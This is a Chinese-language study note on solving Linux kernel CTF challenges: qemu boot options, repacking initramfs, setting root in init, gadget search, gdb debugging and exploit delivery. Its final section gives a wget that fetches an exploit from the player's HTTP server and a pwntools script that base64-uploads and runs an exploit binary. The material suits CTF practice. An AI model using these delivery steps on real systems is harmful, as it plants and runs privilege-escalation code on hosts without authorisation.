pwn-kernel_做题知识

一、题目给的文件:

1.bzImage:就是linux编译后的运行内核,在启动参数中设置即可。

2.file.cpio:题目给的,有的可以直接用qemu启动运行,但是有的需要解压后再打包,具体看题目。

3.xx.sh文件:启动文件,里面包含代表qemu启动时的各种参数:

(1)qemu-system-x86_64:架构

(2)-m:设置运行内存。

-m 64M

-m 128M….

(3)-kernel:设置运行的内核,一般题目会给,自己也可以去 www.kernel.org 来下载编译内核。

-kernel bzImage

(4)-initrd:设置初始化的根文件系统,就是.cpio文件,题目给的可能有陷阱什么的,一般我们需要解压然后看看其中的init是不是有些干扰东西。

例如poweroff -d 120 -f & 这行代码就代表定时关机,这就需要去掉,去掉可能的干扰后就再打包,重新生成.cpio文件,然后通过./xx.sh启动

①解压:

mkdir file

cd file

cpio -idm < ./core.cpio //再次解压

1
2
3
4
5
#注释头

mv ../file.cpio file.cpio.gz //改名,方便gunzip识别格式
gunzip ./file.cpio.gz //解压
#如果是正常cpio打包则不需要,但是有的题目就会有用Gunzip压缩之后再cpio打包。

然后删除file.cpio文件,没啥用了,那么现在的目录下的文件如果再打包生成cpio文件就会是qemu加载之后的根目录文件系统了。

-initrd ./core.cpio

②打包:

切换到根目录下:

find ./* | cpio -H newc -o > file.cpio

当前目录下就生成file.cpio文件,拖到和start.sh、bzImage放到一个目录下,运行start.sh就可以启动qemu虚拟机了。

(5)-append:附加的字符串,为grub引导内核时附加的命令行参数,指明控制台,特权,初始路径等,指定no kaslr可以关闭随机偏移。

-append “root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr”

(6)-s:添加gdb调试的相关条件,只用-s就行,等同于-gdb tcp::1234

(7)-cpu 设置cpu安全选项。kvm64是加速器

-cpu kvm64,+smep (kvm64,开启smep保护)

(8)–nographic:设置为无图形界面

还有其它的各种选项参数,遇到题目再查吧,需要注意的是smep,smap,kaslr等相关的

4.vmlinux:静态编译,未经过压缩的kernel文件,bzImage是压缩后的文件。

二、根文件目录下的文件:

1.init:启动系统的参数设置,很多,慢慢看,多了解。

(1)insmod:加载驱动,一般就是file.ko文件,找到它来分析。

(2)poweroff:关机,相关定时一般去掉

(3)setsid:设置终端权限,id为0即为root,本地修改为0即为root权限

setsid /bin/cttyhack setuidgid 1000 /bin/sh

2.file.ko文件:一般这个就相当于是常规pwn的binary文件,漏洞应该在这里面,可以用IDA打开来分析。

3.vmlinux:题目没直接给的,一般cpio压缩包中都会有,可以用来查gadget。

time ropper –file ./vmlinux –nocolor > g1

time ROPgadget –binary ./vmlinux > g2

没有的也可以提取出来:

./extract-vmlinux ./bzImage > vmlinux

(extract-vmlinux文件:https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux )

4.其它的就没什么重要的了,然后有的题目会有gen_cpio.sh相关文件,用来生成cpio文件,这时候就直接使用,如果用find ./* | cpio -H newc -o > file.cpio可能并不太好使。

三、gdb调试:

1.start.sh中设置-s或者-gdb tcp::1234

2.设置init中的setsid,设置为root权限

3.加载符号表:

(1)qemu内:

cat /sys/module/core/sections/.text //找到基地址

0xffffffffc018b000

(2)qemu外:

gdb ./vmlinux -q

add-symbol-file ./file.ko 0xffffffffc018b000

(现在就可以对函数下断点:b core_read,或者根据file.ko文件中的函数偏移加上基地址。)

4.连接到qemu内部的文件:

qemu外的gdb中输入:

target remote localhost:1234

之后就可以互动,通过编写exp启动来触发断点。

四、提权:

(1)本地:

将编译后的exploit放到初始根目录文件系统中/tem中,再次打包生成cpio文件,运行qemu,之后运行exploit即可。

(2)远程:

本地写好 exploit 后,可以通过 base64 编码等方式把编译好的二进制文件保存到远程目录下,进而拿到 flag。同时可以使用 musl, uclibc 等方法减小 exploit 的体积方便传输。

编译:gcc exploit.c -static -masm=intel -g -o exploit

可以用python配上busybox来设置:

①在本地有exploit的文件夹下运行:python2 -m SimpleHTTPServer

记住本地ip,端口为8000

②在远程中运行:wget -O ./exploit http://192.168.80.132:8000/exploit

这样就可以通过网络来传输exploit

(3)真实题目环境可能没有网络,这时候需要用到脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#注释头

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import os

# context.log_level = 'debug'
cmd = '# '

def exploit(r):
r.sendlineafter(cmd, 'stty -echo')
os.system('musl-gcc -static -O2 ./poc/exp.c -o ./poc/exp')
os.system('gzip -c ./poc/exp > ./poc/exp.gz')
r.sendlineafter(cmd, 'cat <<EOF > exp.gz.b64')
r.sendline((read('./poc/exp.gz')).encode('base64'))
r.sendline('EOF')
r.sendlineafter(cmd, 'base64 -d exp.gz.b64 > exp.gz')
r.sendlineafter(cmd, 'gunzip ./exp.gz')
r.sendlineafter(cmd, 'chmod +x ./exp')
r.sendlineafter(cmd, './exp')
r.interactive()


p = process('./boot.sh', shell=True)
# p = remote('127.0.0.1',0000 )

exploit(p)

这里需要在当前目录下新建一个 poc 文件夹,把 exp.c 文件放进去,或者自己修改下脚本也可以,另外还需要安装musl-gcc,在ubuntu下:apt-get install musl-tools

img

这是sixstars 战队中一位师傅的脚本,不知道是哪位大佬的。